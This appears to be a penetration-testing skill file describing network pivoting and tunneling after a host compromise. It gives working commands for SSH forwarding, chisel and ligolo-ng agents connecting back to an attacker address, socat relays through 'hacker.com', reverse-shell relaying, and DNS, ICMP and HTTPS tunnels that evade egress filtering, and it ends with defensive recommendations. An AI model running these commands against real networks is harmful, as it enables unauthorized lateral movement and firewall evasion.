name: performing-network-pivoting-and-tunneling description: Pivoting into segmented internal networks during authorized engagements via SSH local/remote/dynamic forwarding, SOCKS proxies with proxychains, and modern tunneling tools (chisel, ligolo-ng, socat, sshuttle) plus egress-restricted options (DNS/ICMP tunnels, cloudflared, ngrok, frp) to reach otherwise unreachable hosts. domain: cybersecurity subdomain: linux-hardening tags:
- penetration-testing
- linux
- pivoting
- tunneling
- port-forwarding version: '1.0' author: xalgorix license: Apache-2.0
Performing Network Pivoting and Tunneling
When to Use
- After compromising a host that has access to a network segment you cannot reach directly
- When the target sits behind a DMZ, NAT, or firewall and you need to relay traffic through a foothold
- When scanning or attacking internal services (RDP, WinRM, SMB, databases) from your attack box
- When egress is restricted and you must tunnel over HTTPS, DNS, or ICMP
- When establishing reverse access from an internal host out to your infrastructure
Critical: Techniques Most Often Missed
Pivoting fails when testers forget that SOCKS-tunneled scans must be TCP-connect, or pick the wrong forward direction. Get the fundamentals exact.
- SOCKS scans need
-sT -Pn. ICMP and SYN scans cannot traverse a SOCKS proxy.- How to CONFIRM:
proxychains nmap -n -Pn -sT -p445,3389 10.10.17.25returns open ports; the same scan without-sThangs/returns nothing.
- How to CONFIRM:
- Dynamic SSH forwarding (
-D) = full SOCKS pivot. A single-Dgives access to the whole reachable subnet, not just one port.- How to CONFIRM:
ssh -f -N -D 1080 user@foothold, setsocks4 127.0.0.1 1080in proxychains, thenproxychains curl http://internalworks.
- How to CONFIRM:
- Remote forward (
-R) for reverse access through a DMZ. RequiresGatewayPorts yesto bind non-loopback.- How to CONFIRM:
ssh -R 0.0.0.0:443:0.0.0.0:7000 user@dmzhost; a reverse shell sent to dmz:443 lands on yourlocalhost:7000.
- How to CONFIRM:
- ligolo-ng / chisel give a routed tunnel, not just one port. A
ligolotun interface + route reaches the whole agent subnet.- How to CONFIRM: after
tunnel_start+interface_add_route,nmap/curlto the agent's subnet works with no proxychains.
- How to CONFIRM: after
- Version mismatch breaks chisel/ligolo silently. Client and server (agent and proxy) must be the same version.
- How to CONFIRM: identical
--versionon both ends; the tunnel establishes andlistener_list/proxychains traffic flows.
- How to CONFIRM: identical
- Egress-only-443 environments still tunnel. cloudflared/ngrok/frp ride outbound HTTPS; DNS/ICMP tunnels when only those leak.
- How to CONFIRM:
cloudflared tunnel --url ...yields a reachabletrycloudflare.comURL despite blocked inbound.
- How to CONFIRM:
Workflow
Step 1: Map Reachability from the Foothold
ip route ; ip addr ; cat /etc/hosts # what subnets does the foothold see
for i in $(seq 1 254); do (ping -c1 -W1 10.0.5.$i >/dev/null && echo "10.0.5.$i up") & done; wait
# Or check listening internal services
ss -tlnp ; ss -tnp | grep ESTAB
Step 2: SSH Port Forwarding (the core primitives)
# LOCAL forward: your_port -> foothold -> third_box:port
ssh -i key user@foothold -L 631:<victim_ip>:631 -N -f
# DYNAMIC forward: SOCKS proxy through the foothold (whole subnet)
ssh -f -N -D 1080 user@foothold
echo 'socks4 127.0.0.1 1080' >> /etc/proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.0.5.25
# REMOTE forward: open a port on the foothold/DMZ back to a local service
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@foothold # needs GatewayPorts yes
Step 3: Tunnel a Whole Subnet with sshuttle
pip install sshuttle
sshuttle -r user@foothold 10.10.10.0/24
sshuttle -D -r user@foothold 0/0 --ssh-cmd 'ssh -i ./id_rsa' # daemon + key
Step 4: chisel (reverse SOCKS when SSH isn't available)
# Attacker (server, reverse mode)
./chisel server -p 8080 --reverse
# Victim (client) -> exposes a SOCKS proxy on the attacker's :1080
./chisel client 10.10.14.3:8080 R:socks
proxychains -q nmap -sT -Pn -p3389 10.0.5.50
# Single-port reverse forward instead of SOCKS
./chisel client 10.10.14.20:8080 R:4505:127.0.0.1:4505
Step 5: ligolo-ng (routed tun interface — fast, no proxychains)
# Attacker (proxy)
sudo ./proxy -selfcert
interface_create --name "ligolo"
certificate_fingerprint
# Victim (agent)
./agent -connect <attacker_ip>:11601 -accept-fingerprint <fingerprint>
# Attacker: select session, then route the agent's subnet through the tun
session # pick the agent
tunnel_start --tun "ligolo"
interface_add_route --name "ligolo" --route 10.0.5.0/24
# Now scan/connect directly: nmap -sT 10.0.5.0/24
# Reverse listener on the agent forwarding back to the proxy:
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
Step 6: socat Relays and TCP Forwarders
# Simple TCP forwarder on the pivot: listen 1234 -> redirect_ip:rport
socat TCP4-LISTEN:1234,fork TCP4:<redirect_ip>:<rport> &
# socat as a SOCKS-aware forwarder
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
# Encrypted relay through a non-auth proxy (egress)
socat OPENSSL,verify=1,cert=client.pem,cafile=server.crt|PROXY:hacker.com:443|TCP:proxy.lan:8080
Step 7: Egress-Restricted Tunnels (only 443 / DNS / ICMP out)
# cloudflared — outbound 443 only, no inbound rules needed
cloudflared tunnel --url http://localhost:8080 # -> https://<rand>.trycloudflare.com
# ngrok — expose a TCP listener to the Internet
./ngrok tcp 4444 # -> 0.tcp.ngrok.io:12345
# frp — reverse proxy / SSH tunnel gateway (living off the land)
./frpc -c frpc.toml # exposes local 3389 on frps:5000
# DNS tunnel (root both ends) when only DNS resolves out
iodined -f -c -P pass 1.1.1.1 tunneldomain.com # server
iodine -f -P pass tunneldomain.com -r # client; then ssh -D 1080 1.1.1.2
# ICMP tunnel when only ping leaves
sudo ptunnel-ng -p <server_ip> -l 2222 -r <dest_ip> -R 22 ; ssh -p 2222 user@127.0.0.1
Key Concepts
| Concept | Description |
|---|---|
| Local forward (-L) | Binds a port on your box that tunnels to a remote host:port via the foothold |
| Remote forward (-R) | Opens a port on the foothold/DMZ that tunnels back to a service on your side |
| Dynamic forward (-D) | Turns SSH into a SOCKS proxy reaching any host the foothold can see |
| SOCKS + proxychains | Wrap arbitrary TCP tools to route through a proxy; requires -sT -Pn for nmap |
| Routed tun pivot | ligolo-ng/sshuttle create an interface+route so tools talk to the subnet directly |
| Reverse tunnel | Connection initiated from the internal/victim side outbound (defeats inbound ACLs) |
| Egress tunneling | DNS/ICMP/HTTPS channels (iodine, ptunnel-ng, cloudflared) for locked-down networks |
Tools & Systems
| Tool | Purpose |
|---|---|
| ssh | -L/-R/-D forwarding; the universal pivot primitive |
| proxychains | Force arbitrary TCP tools through a SOCKS/HTTP proxy |
| sshuttle | Transparent subnet-level VPN-like tunnel over SSH |
| chisel | Fast TCP/SOCKS tunnel over HTTP; reverse mode for NAT'd victims |
| ligolo-ng | Routed tun-interface pivoting (agent/proxy), no proxychains needed |
| socat | Flexible TCP/TLS/SOCKS relays and forwarders |
| cloudflared / ngrok / frp | Outbound-only tunnels that bypass ingress firewalls |
| iodine / ptunnel-ng / dnscat2 | DNS and ICMP tunnels for egress-restricted environments |
Common Scenarios
Scenario 1: SOCKS pivot to scan an internal subnet
A web server foothold reaches the 10.0.5.0/24 management VLAN. ssh -D 1080 + proxychains nmap -sT -Pn enumerates RDP/WinRM hosts unreachable from the attack box.
Scenario 2: Reverse shell out of a DMZ
An internal host can only talk to the DMZ box. ssh -R 0.0.0.0:443:0.0.0.0:7000 (GatewayPorts yes) lets the internal host send a reverse shell to dmz:443 which surfaces on the tester's localhost:7000.
Scenario 3: ligolo routed tunnel for full access
A chisel SOCKS proxy is too slow for SMB. ligolo-ng's tun interface plus a subnet route lets crackmapexec and evil-winrm talk to the subnet natively.
Scenario 4: Egress-only-443 environment
Inbound is fully blocked and only outbound 443 works. cloudflared tunnel --url socks5://localhost:1080 --socks5 provides a working SOCKS path off the host.
Output Format
## Network Pivoting Finding
**Activity**: Internal Network Pivoting
**Severity**: Informational / Methodology
**Foothold**: web01 (10.0.1.20) with route to 10.0.5.0/24 (management VLAN)
### Pivot Established
ssh -f -N -D 1080 svc@10.0.1.20
proxychains.conf: socks4 127.0.0.1 1080
### Reachable Internal Hosts (via pivot)
| Host | Port | Service |
|------|------|---------|
| 10.0.5.10 | 3389 | RDP (DC) |
| 10.0.5.25 | 5985 | WinRM |
| 10.0.5.40 | 1433 | MSSQL |
### Impact
Segmentation between the web tier and the management VLAN is not enforced
at the host level; a single web compromise exposes domain infrastructure.
### Recommendation
1. Enforce egress filtering and host-based firewalls on the web tier
2. Restrict management VLAN access to jump hosts with MFA and logging
3. Patch SSH to >= 9.6 (Terrapin CVE-2023-48795) before relying on tunnels
4. Monitor for SOCKS proxies, chisel/ligolo binaries, and anomalous DNS/ICMP volume